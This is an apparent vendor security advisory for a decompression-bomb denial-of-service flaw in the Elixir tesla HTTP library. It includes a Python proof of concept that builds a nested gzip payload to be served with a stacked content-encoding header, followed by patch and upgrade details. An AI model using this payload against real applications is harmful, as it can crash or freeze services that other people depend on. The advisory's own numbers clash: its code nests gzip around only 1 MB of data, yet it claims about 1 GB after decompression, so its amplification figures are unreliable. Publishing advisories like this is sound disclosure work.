highCVE-2026-48594Jul 10, 2026

CVE-2026-48594: Tesla Middleware Decompression Bomb (DoS)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The Tesla HTTP client library for Elixir will blindly decompress any server response with no size limit, so an attacker who controls a server can crash or freeze any app that uses its decompression mi

Packagetesla
Ecosystemerlang
Affected>= 0.6.0, < 1.18.3
Fixed in1.18.3

The problem

Any Tesla pipeline that includes `Tesla.Middleware.DecompressResponse` or `Tesla.Middleware.Compression` decompresses HTTP response bodies eagerly, with no cap on output size.

The `decompress_body/2` function in `lib/tesla/middleware/compression.ex` passes the full body to `:zlib.gunzip/1` or `:zlib.unzip/1` directly. It also splits the `content-encoding` header on commas and recurses once per token, so stacking multiple encoding labels multiplies the amplification exponentially.

Any app talking to an attacker-controlled server, including one reached via a redirect, is exposed.

Proof of concept

A working proof-of-concept for CVE-2026-48594 in tesla, with the exact payload below.

python
# Build a 4-layer gzip bomb: ~284 bytes on the wire, ~1 GB after decompression.
# The server returns this body with: content-encoding: gzip, gzip, gzip, gzip

import gzip

# Innermost payload: 1 MB of zeros (compresses to ~1 KB with gzip)
data = b"\x00" * 1_000_000

# Wrap in 4 successive gzip layers
for _ in range(4):
    data = gzip.compress(data)

# Write the final ~284-byte wire payload
with open("bomb.gz", "wb") as f:
    f.write(data)

print(f"Wire size: {len(data)} bytes")

# Serve this file from a malicious HTTP server with the header:
# Content-Encoding: gzip, gzip, gzip, gzip
# Tesla decompresses layer by layer, reaching ~1 GB in the calling process heap.

The root cause (CWE-409) is that `decompress_body/2` called `:zlib.gunzip/1` in a single blocking call with no output-size guard. Each gzip pass can expand input ~1000x, so four passes yield roughly 10^12 amplification at the theoretical limit. The advisory documents a concrete 284-byte wire payload expanding to ~1 GB after four layers.

The patch (commit 340f75b) replaced the single-shot `:zlib.gunzip/1` calls with streaming incremental inflation that enforces a configurable `:max_body_size` ceiling. It also added a hard rejection of any response that advertises more than one `content-encoding` token, which closes the recursive-recursion vector entirely.

The fix

Upgrade to `tesla` >= 1.18.3. After upgrading, configure a safe `:max_body_size` limit in your middleware options, for example: `{Tesla.Middleware.DecompressResponse, max_body_size: 10_000_000}`. The patched version rejects responses with multiple `content-encoding` tokens and enforces the size cap during streaming inflation, so no single response can exhaust heap.

Reported by Peter Ullrich.

References: [1][2][3][4][5][6]

Related research